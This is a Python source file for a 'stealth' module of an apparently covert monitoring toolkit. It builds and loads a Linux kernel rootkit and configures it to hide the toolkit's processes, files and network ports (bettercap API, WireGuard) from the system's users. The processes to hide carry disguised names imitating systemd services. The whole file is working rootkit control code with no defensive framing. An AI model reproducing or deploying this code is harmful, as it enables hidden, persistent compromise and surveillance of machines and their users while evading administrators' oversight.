bigbrother/modules/stealth/lkm_rootkit.py

#!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides
SystemMonitor processes, files, and network connections from userland."""

import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC

logger = logging.getLogger(__name__)

LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c"
LKM_MODULE = "bb_hide.ko"
LKM_MODULE_NAME = "bb_hide"

# Default hide lists
DEFAULT_HIDE_PREFIX = ".cache/bb"
DEFAULT_HIDE_PORTS = [8081, 51820]  # bettercap API, WireGuard


class LKMRootkit(BaseModule):
    """Manage a Linux kernel module for process/file/connection hiding.
    Debian generic host only -- gracefully skips on SBC tiers."""

    name = "lkm_rootkit"
    module_type = "stealth"
    priority = -300
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
        self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
        self._loaded = False
        self._hidden_pids: list[int] = []
        self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
        self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
        self._hide_process_names: list[str] = config.get("hide_process_names", [
            "systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
            "systemd-resolved", "systemd-networkd", "systemd-logind",
        ])

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        self._running = True
        self._start_time = time.time()
        self._pid = os.getpid()

        # Check hardware tier: LKM only on generic Debian hosts
        tier = get_hardware_tier()
        if tier != TIER_GENERIC:
            logger.info(
                "LKMRootkit skipped — tier '%s' does not support kernel modules "
                "(requires 'generic' Debian host)", tier,
            )
            self.state.set_module_status(self.name, "skipped",
                                         extra={"reason": f"unsupported_tier:{tier}"})
            self.bus.emit("MODULE_STARTED", {
                "module": self.name, "skipped": True, "reason": "unsupported_tier",
            }, source_module=self.name)
            return

        # Build if needed
        if not os.path.isfile(self._module_path):
            if not self._build_module():
                logger.error("LKM build failed — module not available")
                self.state.set_module_status(self.name, "error",
                                             extra={"reason": "build_failed"})
                return

        # Load module
        if self._load_module():
            self._loaded = True
            self._configure_hide_lists()
            self.state.set_module_status(self.name, "running", pid=self._pid)
            self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
            logger.info("LKMRootkit loaded and configured")
        else:
            self.state.set_module_status(self.name, "error",
                                         extra={"reason": "load_failed"})

    def stop(self) -> None:
        self._running = False
        if self._loaded:
            self._unload_module()
            self._loaded = False
        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
        logger.info("LKMRootkit stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "loaded": self._loaded,
            "hidden_pids": list(self._hidden_pids),
            "hidden_paths": list(self._hidden_paths),
            "hidden_ports": list(self._hidden_ports),
            "module_path": self._module_path,
        }

    def configure(self, config: dict) -> None:
        if "hide_paths" in config:
            self._hidden_paths = config["hide_paths"]
        if "hide_ports" in config:
            self._hidden_ports = config["hide_ports"]
        if "hide_process_names" in config:
            self._hide_process_names = config["hide_process_names"]
        if self._loaded:
            self._configure_hide_lists()

    # ------------------------------------------------------------------
    # Public: dynamic hide/unhide
    # ------------------------------------------------------------------

    def hide_pid(self, pid: int) -> bool:
        """Add a PID to the kernel module's hide list."""
        if not self._loaded:
            return False
        if pid not in self._hidden_pids:
            self._hidden_pids.append(pid)
            return self._write_param("hide_pids", self._format_pid_list())
        return True

    def unhide_pid(self, pid: int) -> bool:
        """Remove a PID from the kernel module's hide list."""
        if not self._loaded:
            return False
        if pid in self._hidden_pids:
            self._hidden_pids.remove(pid)
            return self._write_param("hide_pids", self._format_pid_list())
        return True

    def hide_port(self, port: int) -> bool:
        """Add a port to the kernel module's hide list."""
        if not self._loaded:
            return False
        if port not in self._hidden_ports:
            self._hidden_ports.append(port)
            return self._write_param("hide_ports", self._format_port_list())
        return True

    # ------------------------------------------------------------------
    # Internal: build
    # ------------------------------------------------------------------

    def _build_module(self) -> bool:
        """Compile the kernel module from source."""
        source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
        if not os.path.isfile(source_path):
            logger.error("LKM source not found: %s", source_path)
            return False

        # Check for kernel headers
        kdir = f"/lib/modules/{os.uname().release}/build"
        if not os.path.isdir(kdir):
            logger.error("Kernel headers not found: %s", kdir)
            return False

        try:
            result = subprocess.run(
                ["make", "-C", self._lkm_dir],
                capture_output=True, timeout=120,
                env={**os.environ, "KDIR": kdir},
            )
            if result.returncode == 0:
                logger.info("LKM built successfully: %s", self._module_path)
                return True
            else:
                logger.error(
                    "LKM build failed (rc=%d): %s",
                    result.returncode,
                    result.stderr.decode(errors="replace")[:500],
                )
                return False
        except FileNotFoundError:
            logger.error("make not found — cannot build LKM")
            return False
        except subprocess.TimeoutExpired:
            logger.error("LKM build timed out")
            return False

    # ------------------------------------------------------------------
    # Internal: load/unload
    # ------------------------------------------------------------------

    def _load_module(self) -> bool:
        """Load the kernel module via insmod."""
        params = self._build_insmod_params()
        try:
            cmd = ["insmod", self._module_path] + params
            result = subprocess.run(cmd, capture_output=True, timeout=30)
            if result.returncode == 0:
                logger.info("LKM loaded: %s", self._module_path)
                return True
            else:
                stderr = result.stderr.decode(errors="replace")
                if "File exists" in stderr:
                    logger.info("LKM already loaded")
                    return True
                logger.error("insmod failed: %s", stderr[:300])
                return False
        except FileNotFoundError:
            logger.error("insmod not found")
            return False
        except Exception:
            logger.exception("LKM load failed")
            return False

    def _unload_module(self) -> bool:
        """Unload the kernel module via rmmod."""
        try:
            result = subprocess.run(
                ["rmmod", LKM_MODULE_NAME],
                capture_output=True, timeout=30,
            )
            if result.returncode == 0:
                logger.info("LKM unloaded")
                return True
            else:
                logger.warning(
                    "rmmod failed: %s",
                    result.stderr.decode(errors="replace")[:200],
                )
                return False
        except FileNotFoundError:
            logger.error("rmmod not found")
            return False
        except Exception:
            logger.exception("LKM unload failed")
            return False

    # ------------------------------------------------------------------
    # Internal: module parameter management
    # ------------------------------------------------------------------

    def _build_insmod_params(self) -> list[str]:
        """Build insmod parameter list."""
        params = []
        if self._hidden_paths:
            params.append(f'hide_prefix="{self._hidden_paths[0]}"')
        if self._hidden_pids:
            params.append(f'hide_pids="{self._format_pid_list()}"')
        if self._hidden_ports:
            params.append(f'hide_ports="{self._format_port_list()}"')
        return params

    def _configure_hide_lists(self) -> None:
        """Write current hide lists to loaded module's parameters via sysfs."""
        if not self._loaded:
            return
        # Collect current SystemMonitor PIDs from state
        try:
            all_status = self.state.get_all_module_status()
            for mod_name, mod_status in all_status.items():
                pid = mod_status.get("pid")
                if pid and pid not in self._hidden_pids:
                    self._hidden_pids.append(pid)
        except Exception:
            pass

        self._write_param("hide_pids", self._format_pid_list())
        self._write_param("hide_ports", self._format_port_list())
        if self._hidden_paths:
            self._write_param("hide_prefix", self._hidden_paths[0])

    @staticmethod
    def _write_param(param: str, value: str) -> bool:
        """Write to kernel module parameter via /sys/module/."""
        param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
        try:
            with open(param_path, "w") as f:
                f.write(value)
            return True
        except (IOError, PermissionError, FileNotFoundError):
            logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
            return False

    def _format_pid_list(self) -> str:
        return ",".join(str(p) for p in self._hidden_pids)

    def _format_port_list(self) -> str:
        return ",".join(str(p) for p in self._hidden_ports)